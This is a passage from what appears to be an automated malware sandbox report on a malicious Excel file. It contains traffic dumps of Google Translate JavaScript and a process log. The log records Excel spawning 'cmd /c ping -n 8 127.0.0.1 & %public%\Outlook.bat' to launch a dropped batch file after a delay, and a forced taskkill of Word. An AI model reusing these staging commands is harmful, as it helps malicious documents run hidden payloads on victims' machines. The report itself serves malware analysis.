5c 5c 5c 2f 3f 23 5d 2a 3f 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 28 3f 3d 5b 5c 5c 5c 5c 2f 3f
                                                                                      Data Ascii: =!0}catch(a){Bf=!1}_.Cf=Bf;_.Df=RegExp("^(ar|ckb|dv|he|iw|fa|nqo|ps|sd|ug|ur|yi|.*[-_](Adlm|Arab|Hebr|Nkoo|Rohg|Thaa))(?!.*[-_](Latn|Cyrl)($|-|_))($|-|_)","i");_.Ef=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?
                                                                                      2022-08-16 09:39:30 UTC57INData Raw: 68 69 73 2c 61 2c 62 29 3b 74 68 69 73 2e 6c 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 41 66 28 7a 66 2c 61 2c 62 29 29 7d 3b 73 61 28 77 66 2c 4c 66 29 3b 0a 76 66 28 7b 67 3a 5b 7b 69 64 3a 77 66 2c 68 66 3a 4c 66 2c 6d 75 6c 74 69 70 6c 65 3a 21 30 7d 5d 7d 29 3b 0a 76 61 72 20 4d 66 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 61 3b 74 68 69 73 2e 74 79 70 65 3d 62 3b 74 68 69 73 2e 76 61 6c 75 65 3d 61 7d 3b 4d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 76 61 6c 75 65 7d 3b 4d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 76 61 6c 75 65 3d 61 7d 3b 0a 76 61
                                                                                      Data Ascii: his,a,b);this.l.dispatchEvent(new Af(zf,a,b))};sa(wf,Lf);vf({g:[{id:wf,hf:Lf,multiple:!0}]});var Mf=function(a,b){this.defaultValue=a;this.type=b;this.value=a};Mf.prototype.get=function(){return this.value};Mf.prototype.set=function(a){this.value=a};va
                                                                                      2022-08-16 09:39:30 UTC58INData Raw: 61 72 20 6b 3d 65 2e 6d 61 74 63 68 28 22 2f 22 2b 67 2b 22 3d 28 5b 5e 2f 5d 2b 29 22 29 3b 6b 26 26 52 66 28 64 2c 67 2c 6b 5b 31 5d 29 7d 29 3b 76 61 72 20 66 3d 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 22 5f 2f 73 73 2f 22 29 3f 22 5f 2f 73 73 2f 22 3a 22 5f 2f 6a 73 2f 22 3b 64 2e 6a 3d 61 2e 73 75 62 73 74 72 28 30 2c 61 2e 69 6e 64 65 78 4f 66 28 66 29 2b 66 2e 6c 65 6e 67 74 68 29 3b 69 66 28 21 62 29 72 65 74 75 72 6e 20 64 3b 28 61 3d 63 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 36 5d 7c 7c 6e 75 6c 6c 29 26 26 5f 2e 47 66 28 61 2c 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 64 2e 68 5b 67 5d 3d 6b 7d 29 3b 72 65 74 75 72 6e 20 64 7d 2c 54 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 73 74 61 72 74 73 57 69 74 68 28 22 68 74
                                                                                      Data Ascii: ar k=e.match("/"+g+"=([^/]+)");k&&Rf(d,g,k[1])});var f=-1!=a.indexOf("_/ss/")?"_/ss/":"_/js/";d.j=a.substr(0,a.indexOf(f)+f.length);if(!b)return d;(a=c.match(_.Ef)[6]||null)&&_.Gf(a,function(g,k){d.h[g]=k});return d},Tf=function(a){return a.startsWith("ht
                                                                                      2022-08-16 09:39:30 UTC60INData Raw: 3f 61 2e 71 64 28 62 2c 63 2c 64 2c 65 29 3a 61 3f 28 61 3d 5f 2e 4e 64 28 61 29 29 3f 61 2e 71 64 28 62 2c 63 2c 64 2c 65 29 3a 6e 75 6c 6c 3a 6e 75 6c 6c 2c 62 26 26 28 5f 2e 53 64 28 62 29 2c 64 65 6c 65 74 65 20 74 68 69 73 2e 67 5b 62 2e 6b 65 79 5d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 5f 2e 5a 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 41 63 28 61 2e 67 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 67 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 63 29 26 26 5f 2e 53 64 28 62 29 7d 2c 61 29 3b 61 2e 67 3d 7b 7d 7d 3b 5f 2e 49 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 49 2e 47 2e 4c 2e 63 61 6c 6c 28 74 68 69 73 29 3b 5f 2e 5a 66 28 74 68 69 73 29 7d 3b 5f 2e 49 2e 70 72 6f 74 6f 74
                                                                                      Data Ascii: ?a.qd(b,c,d,e):a?(a=_.Nd(a))?a.qd(b,c,d,e):null:null,b&&(_.Sd(b),delete this.g[b.key]);return this};_.Zf=function(a){_.Ac(a.g,function(b,c){this.g.hasOwnProperty(c)&&_.Sd(b)},a);a.g={}};_.I.prototype.L=function(){_.I.G.L.call(this);_.Zf(this)};_.I.protot
                                                                                      2022-08-16 09:39:30 UTC61INData Raw: 78 29 28 74 68 69 73 2e 69 69 2c 74 68 69 73 29 3b 74 68 69 73 2e 67 2e 6f 6e 65 72 72 6f 72 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 41 67 2c 74 68 69 73 29 3b 74 68 69 73 2e 67 2e 6f 6e 70 72 6f 67 72 65 73 73 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 78 6a 2c 74 68 69 73 29 3b 74 68 69 73 2e 67 2e 6f 6e 74 69 6d 65 6f 75 74 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 43 6a 2c 74 68 69 73 29 7d 3b 5f 2e 68 3d 66 67 2e 70 72 6f 74 6f 74 79 70 65 3b 5f 2e 68 2e 6f 70 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 21 3d 63 26 26 21 63 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 56 22 29 3b 74 68 69 73 2e 67 2e 6f 70 65 6e 28 61 2c 62 29 7d 3b 5f 2e 68 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 69 66 28
                                                                                      Data Ascii: x)(this.ii,this);this.g.onerror=(0,_.x)(this.Ag,this);this.g.onprogress=(0,_.x)(this.xj,this);this.g.ontimeout=(0,_.x)(this.Cj,this)};_.h=fg.prototype;_.h.open=function(a,b,c){if(null!=c&&!c)throw Error("V");this.g.open(a,b)};_.h.send=function(a){if(a)if(
                                                                                      2022-08-16 09:39:30 UTC62INData Raw: 4a 3d 21 31 3b 74 68 69 73 2e 73 3d 30 3b 74 68 69 73 2e 42 3d 6e 75 6c 6c 3b 74 68 69 73 2e 58 3d 22 22 3b 74 68 69 73 2e 52 3d 74 68 69 73 2e 57 3d 21 31 7d 3b 5f 2e 79 28 5f 2e 6a 67 2c 5f 2e 47 29 3b 6b 67 3d 2f 5e 68 74 74 70 73 3f 24 2f 69 3b 6c 67 3d 5b 22 50 4f 53 54 22 2c 22 50 55 54 22 5d 3b 5f 2e 6d 67 3d 5b 5d 3b 5f 2e 6a 67 2e 70 72 6f 74 6f 74 79 70 65 2e 62 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 50 28 29 3b 5f 2e 78 61 28 5f 2e 6d 67 2c 74 68 69 73 29 7d 3b 0a 5f 2e 6a 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 74 68 69 73 2e 67 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 5a 60 22 2b 74 68 69 73 2e 6f 2b 22 60 22 2b 61 29 3b 62 3d 62 3f 62 2e 74 6f 55 70 70
                                                                                      Data Ascii: J=!1;this.s=0;this.B=null;this.X="";this.R=this.W=!1};_.y(_.jg,_.G);kg=/^https?$/i;lg=["POST","PUT"];_.mg=[];_.jg.prototype.ba=function(){this.P();_.xa(_.mg,this)};_.jg.prototype.send=function(a,b,c,d){if(this.g)throw Error("Z`"+this.o+"`"+a);b=b?b.toUpp
                                                                                      2022-08-16 09:39:30 UTC63INData Raw: 33 35 61 33 0d 0a 65 64 65 6e 74 69 61 6c 73 22 69 6e 0a 74 68 69 73 2e 67 26 26 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 21 3d 3d 74 68 69 73 2e 57 26 26 28 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 74 68 69 73 2e 57 29 3b 74 72 79 7b 6f 67 28 74 68 69 73 29 2c 30 3c 74 68 69 73 2e 73 26 26 28 28 74 68 69 73 2e 52 3d 70 67 28 74 68 69 73 2e 67 29 29 3f 28 74 68 69 73 2e 67 2e 74 69 6d 65 6f 75 74 3d 74 68 69 73 2e 73 2c 74 68 69 73 2e 67 2e 6f 6e 74 69 6d 65 6f 75 74 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 5a 2c 74 68 69 73 29 29 3a 74 68 69 73 2e 42 3d 5f 2e 68 67 28 74 68 69 73 2e 5a 2c 74 68 69 73 2e 73 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 43 3d 21 30 2c 74 68 69 73 2e 67 2e 73 65 6e 64 28 61 29
                                                                                      Data Ascii: 35a3edentials"inthis.g&&this.g.withCredentials!==this.W&&(this.g.withCredentials=this.W);try{og(this),0<this.s&&((this.R=pg(this.g))?(this.g.timeout=this.s,this.g.ontimeout=(0,_.x)(this.Z,this)):this.B=_.hg(this.Z,this.s,this)),this.C=!0,this.g.send(a)
                                                                                      2022-08-16 09:39:30 UTC64INData Raw: 3d 21 31 3b 74 72 79 7b 61 2e 4d 63 28 29 3f 28 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 63 6f 6d 70 6c 65 74 65 22 29 2c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 73 75 63 63 65 73 73 22 29 29 3a 28 61 2e 6c 3d 36 2c 71 67 28 61 29 29 7d 66 69 6e 61 6c 6c 79 7b 72 67 28 61 29 7d 7d 7d 2c 72 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 67 29 7b 6f 67 28 61 29 3b 76 61 72 20 63 3d 61 2e 67 2c 64 3d 61 2e 49 5b 30 5d 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3a 6e 75 6c 6c 3b 61 2e 67 3d 6e 75 6c 6c 3b 61 2e 49 3d 6e 75 6c 6c 3b 62 7c 7c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 72 65 61 64 79 22 29 3b 74 72 79 7b 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 64 7d 63 61 74 63 68 28 65 29 7b 7d 7d
                                                                                      Data Ascii: =!1;try{a.Mc()?(a.dispatchEvent("complete"),a.dispatchEvent("success")):(a.l=6,qg(a))}finally{rg(a)}}},rg=function(a,b){if(a.g){og(a);var c=a.g,d=a.I[0]?function(){}:null;a.g=null;a.I=null;b||a.dispatchEvent("ready");try{c.onreadystatechange=d}catch(e){}}
                                                                                      2022-08-16 09:39:30 UTC66INData Raw: 20 65 3d 64 2e 54 66 2c 66 3d 64 2e 69 6b 3b 61 3d 77 67 28 74 68 69 73 2c 61 2c 62 2c 64 2e 59 69 2c 63 29 3b 78 67 28 74 68 69 73 2c 61 2c 65 2c 66 2c 63 29 7d 3b 0a 76 61 72 20 77 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 64 3d 76 6f 69 64 20 30 3d 3d 3d 64 3f 7b 7d 3a 64 3b 76 61 72 20 66 3d 5b 5d 3b 79 67 28 61 2c 62 2c 63 2c 64 2c 76 6f 69 64 20 30 3d 3d 3d 65 3f 21 31 3a 65 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 66 2e 70 75 73 68 28 67 2e 6f 62 28 29 29 7d 29 3b 72 65 74 75 72 6e 20 66 7d 2c 79 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 67 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 7b 7d 3a 67 3b 62 3d 5f 2e 56 61 28 62 29 3b 66 6f 72 28 76 61 72 20 6b 3d 62 2e 6e 65 78 74 28 29 3b 21 6b 2e 64 6f
                                                                                      Data Ascii: e=d.Tf,f=d.ik;a=wg(this,a,b,d.Yi,c);xg(this,a,e,f,c)};var wg=function(a,b,c,d,e){d=void 0===d?{}:d;var f=[];yg(a,b,c,d,void 0===e?!1:e,function(g){f.push(g.ob())});return f},yg=function(a,b,c,d,e,f,g){g=void 0===g?{}:g;b=_.Va(b);for(var k=b.next();!k.do
                                                                                      2022-08-16 09:39:30 UTC67INData Raw: 74 22 2c 28 30 2c 5f 2e 78 29 28 65 2e 42 2c 65 29 29 3b 58 66 28 61 2e 48 2c 66 2c 22 72 65 61 64 79 22 2c 66 2e 50 2c 21 31 2c 66 29 3b 66 2e 73 3d 33 45 34 3b 44 67 28 61 2e 52 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 2e 73 65 6e 64 28 64 29 3b 72 65 74 75 72 6e 20 65 2e 67 7d 29 3b 72 65 74 75 72 6e 20 65 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 42 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 3d 21 31 2c 66 2c 67 3d 21 31 2c 6b 3d 30 3b 6b 3c 62 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 6c 3d 62 5b 6b 5d 3b 69 66 28 21 66 26 26 6c 2e 6a 29 7b 65 3d 21 30 3b 66 3d 6c 2e 68 3b 62 72 65 61 6b 7d 65 6c 73 65 20 6c 2e 6c 26 26 28 67 3d 21 30 29 7d 76 61 72 20 6d 3d 5f 2e 79 61 28 61 2e 67 29 3b 28 65 7c 7c
                                                                                      Data Ascii: t",(0,_.x)(e.B,e));Xf(a.H,f,"ready",f.P,!1,f);f.s=3E4;Dg(a.R,function(){f.send(d);return e.g});return e}return null},Bg=function(a,b,c,d){for(var e=!1,f,g=!1,k=0;k<b.length;k++){var l=b[k];if(!f&&l.j){e=!0;f=l.h;break}else l.l&&(g=!0)}var m=_.ya(a.g);(e||
                                                                                      2022-08-16 09:39:30 UTC68INData Raw: 77 69 6e 64 6f 77 3b 76 61 72 20 65 3d 5f 2e 46 62 28 61 2b 22 5c 72 5c 6e 2f 2f 23 20 73 6f 75 72 63 65 55 52 4c 3d 22 2b 62 29 2c 66 3d 5f 2e 45 62 28 65 29 3b 63 2e 65 76 61 6c 28 66 29 3d 3d 3d 66 26 26 63 2e 65 76 61 6c 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 65 6c 73 65 20 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 46 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 46 66 28 61 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 7c 7c 22 22 3b 62 3d 5f 2e 46 66 28 54 66 28 62 29 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 62 26 26 62 2e 6d 61 74 63 68 28 22 28 2f 5f 2f 6a 73 2f 29
                                                                                      Data Ascii: window;var e=_.Fb(a+"\r\n//# sourceURL="+b),f=_.Eb(e);c.eval(f)===f&&c.eval(f.toString())}catch(g){return!1}else return!1;return!0},Fg=function(a){var b=_.Ff(a.match(_.Ef)[5]||null)||"";b=_.Ff(Tf(b).match(_.Ef)[5]||null);return null!==b&&b.match("(/_/js/)
                                                                                      2022-08-16 09:39:30 UTC70INData Raw: 26 26 28 65 2e 6c 3d 63 29 3b 64 26 26 0a 28 65 2e 6a 3d 64 29 3b 65 2e 43 3d 62 3b 62 3d 6b 61 28 29 3b 62 2e 42 3d 65 3b 62 2e 55 68 28 21 30 29 3b 62 3d 6b 61 28 29 3b 62 2e 69 67 28 61 29 3b 61 2e 6a 28 62 29 7d 7d 29 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 68 61 29 7b 69 66 28 21 5f 2e 69 61 29 72 65 74 75 72 6e 3b 5f 2e 6a 61 28 29 7d 5f 2e 68 61 2e 68 67 28 61 2c 62 29 7d 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 28 27 62 2f 73 79 30 2f 65 6c 5f 63 6f 6e 66 3a 31 2f 73 79 32 2f 73 79 31 3a 33 2f 73 79 34 2f 73 79 33 3a 31 2c 34 2c 35 2f 65 6c 5f 6d 61 69 6e 3a 36 2f 65 6c 5f 73 65 63 74 3a
                                                                                      Data Ascii: &&(e.l=c);d&&(e.j=d);e.C=b;b=ka();b.B=e;b.Uh(!0);b=ka();b.ig(a);a.j(b)}});_._ModuleManager_initialize=function(a,b){if(!_.ha){if(!_.ia)return;_.ja()}_.ha.hg(a,b)};_._ModuleManager_initialize('b/sy0/el_conf:1/sy2/sy1:3/sy4/sy3:1,4,5/el_main:6/el_sect:
                                                                                      2022-08-16 09:39:30 UTC71INData Raw: 77 6e 50 72 6f 70 65 72 74 79 28 61 5b 63 5d 29 3f 62 3d 62 5b 61 5b 63 5d 5d 3a 62 3d 62 5b 61 5b 63 5d 5d 3d 7b 7d 3a 62 3d 62 5b 61 5b 63 5d 5d 7c 7c 28 62 5b 61 5b 63 5d 5d 3d 7b 7d 29 3b 72 65 74 75 72 6e 20 62 7d 3b 4a 3d 7b 7d 3b 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3d 22 54 72 61 6e 73 6c 61 74 65 22 3b 4a 5b 30 5d 3d 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3b 4d 53 47 5f 43 41 4e 43 45 4c 3d 22 43 61 6e 63 65 6c 22 3b 4a 5b 31 5d 3d 4d 53 47 5f 43 41 4e 43 45 4c 3b 0a 4d 53 47 5f 43 4c 4f 53 45 3d 22 43 6c 6f 73 65 22 3b 4a 5b 32 5d 3d 4d 53 47 5f 43 4c 4f 53 45 3b 4d 53 47 46 55 4e 43 5f 50 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 44 5f 54 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 47 6f 6f 67 6c 65 20 68 61 73 20 74 72 61 6e
                                                                                      Data Ascii: wnProperty(a[c])?b=b[a[c]]:b=b[a[c]]={}:b=b[a[c]]||(b[a[c]]={});return b};J={};MSG_TRANSLATE="Translate";J[0]=MSG_TRANSLATE;MSG_CANCEL="Cancel";J[1]=MSG_CANCEL;MSG_CLOSE="Close";J[2]=MSG_CLOSE;MSGFUNC_PAGE_TRANSLATED_TO=function(a){return"Google has tran
                                                                                      2022-08-16 09:39:30 UTC72INData Raw: 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 34 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 53 45 43 55 52 45 5f 50 41 47 45 3b 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3d 22 54 68 65 20 63 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 69 6e 74 72 61 6e 65 74 20 70 61 67 65 20 77 69 6c 6c 20 62 65 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 35 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3b 4d 53
                                                                                      Data Ascii: ent to Google for translation, using a secure connection.";J[14]=MSG_SSL_INFO_SECURE_PAGE;MSG_SSL_INFO_INTRANET_PAGE="The content of this intranet page will be sent to Google for translation, using a secure connection.";J[15]=MSG_SSL_INFO_INTRANET_PAGE;MS
                                                                                      2022-08-16 09:39:30 UTC73INData Raw: 47 5f 4f 50 54 49 4f 4e 53 3d 22 4f 70 74 69 6f 6e 73 22 3b 4a 5b 32 39 5d 3d 4d 53 47 5f 4f 50 54 49 4f 4e 53 3b 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3d 22 54 75 72 6e 20 6f 66 66 20 74 72 61 6e 73 6c 61 74 69 6f 6e 20 66 6f 72 20 74 68 69 73 20 73 69 74 65 22 3b 4a 5b 33 30 5d 3d 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3b 0a 4a 5b 33 31 5d 3d 6e 75 6c 6c 3b 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3d 22 53 68 6f 77 20 61 6c 74 65 72 6e 61 74 69 76 65 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 22 3b 4a 5b 33 32 5d 3d 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3b 4d 53 47 5f 41 4c 54 5f
                                                                                      Data Ascii: G_OPTIONS="Options";J[29]=MSG_OPTIONS;MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE="Turn off translation for this site";J[30]=MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE;J[31]=null;MSG_ALT_SUGGESTION="Show alternative translations";J[32]=MSG_ALT_SUGGESTION;MSG_ALT_
                                                                                      2022-08-16 09:39:30 UTC75INData Raw: 66 20 74 68 65 20 77 65 62 20 70 61 67 65 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 4a 5b 34 35 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 3b 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3d 22 4c 61 6e 67 75 61 67 65 20 54 72 61 6e 73 6c 61 74 65 20 57 69 64 67 65 74 22 3b 4a 5b 34 36 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3b 0a 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 22 2c 5f 2e 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 2c 5f 2e 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 29 3b 5f 2e 75
                                                                                      Data Ascii: f the web page is not supported.";J[45]=MSG_LANGUAGE_UNSUPPORTED;MSG_LANGUAGE_TRANSLATE_WIDGET="Language Translate Widget";J[46]=MSG_LANGUAGE_TRANSLATE_WIDGET;_.ub("_exportVersion",_._exportVersion);_.ub("_getCallbackFunction",_._getCallbackFunction);_.u
                                                                                      2022-08-16 09:39:30 UTC76INData Raw: 73 27 2b 27 3a 2f 2f 27 3b 20 63 2e 5f 70 61 68 3d 68 3b 20 63 2e 5f 70 61 73 3d 73 3b 20 63 6f 6e 73 74 20 62 3d 73 2b 27 74 72 61 6e 73 6c 61 74 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 3b 20 63 6f 6e 73 74 20 73 74 61 74 69 63 50 61 74 68 20 3d 20 27 2f 74 72 61 6e 73 6c 61 74 65 5f 73 74 61 74 69 63 2f 27 3b 20 63 2e 5f 70 63 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 63 74 72 6c 33 2e 67 69 66 27 3b 20 63 2e 5f 70 6d 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6d 69 6e 69 5f 67 6f 6f 67 6c 65 2e 70 6e 67 27 3b 20 63 2e 5f 70 62 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 62 6b 2e 67 69 66 27 3b 20 63 2e 5f 70 6c 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6c
                                                                                      Data Ascii: s'+'://'; c._pah=h; c._pas=s; const b=s+'translate.googleapis.com'; const staticPath = '/translate_static/'; c._pci=b+staticPath+'img/te_ctrl3.gif'; c._pmi=b+staticPath+'img/mini_google.png'; c._pbi=b+staticPath+'img/te_bk.gif'; c._pli=b+staticPath+'img/l
                                                                                      2022-08-16 09:39:30 UTC77INData Raw: 30 0d 0a 0d 0a
                                                                                      Data Ascii: 0


                                                                                      Statistics

                                                                                      CPU Usage

                                                                                      Click to jump to process

                                                                                      Memory Usage

                                                                                      Click to jump to process

                                                                                      High Level Behavior Distribution

                                                                                      Click to dive into process behavior distribution

                                                                                      Behavior

                                                                                      Click to jump to process

                                                                                      System Behavior

                                                                                      General

                                                                                      Target ID:0
                                                                                      Start time:11:39:08
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
                                                                                      Imagebase:0xeb0000
                                                                                      File size:27110184 bytes
                                                                                      MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:1
                                                                                      Start time:11:39:12
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
                                                                                      Imagebase:0xc20000
                                                                                      File size:232960 bytes
                                                                                      MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:2
                                                                                      Start time:11:39:12
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      Imagebase:0x7ff7c9170000
                                                                                      File size:625664 bytes
                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:3
                                                                                      Start time:11:39:13
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\SysWOW64\PING.EXE
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:ping -n 8 127.0.0.1
                                                                                      Imagebase:0x870000
                                                                                      File size:18944 bytes
                                                                                      MD5 hash:70C24A306F768936563ABDADB9CA9108
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:7
                                                                                      Start time:11:39:21
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:cmd /c start /min taskkill /f /im WINWORD.EXE
                                                                                      Imagebase:0xc20000
                                                                                      File size:232960 bytes
                                                                                      MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:8
                                                                                      Start time:11:39:21
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                      Wow64 process (32bit):true
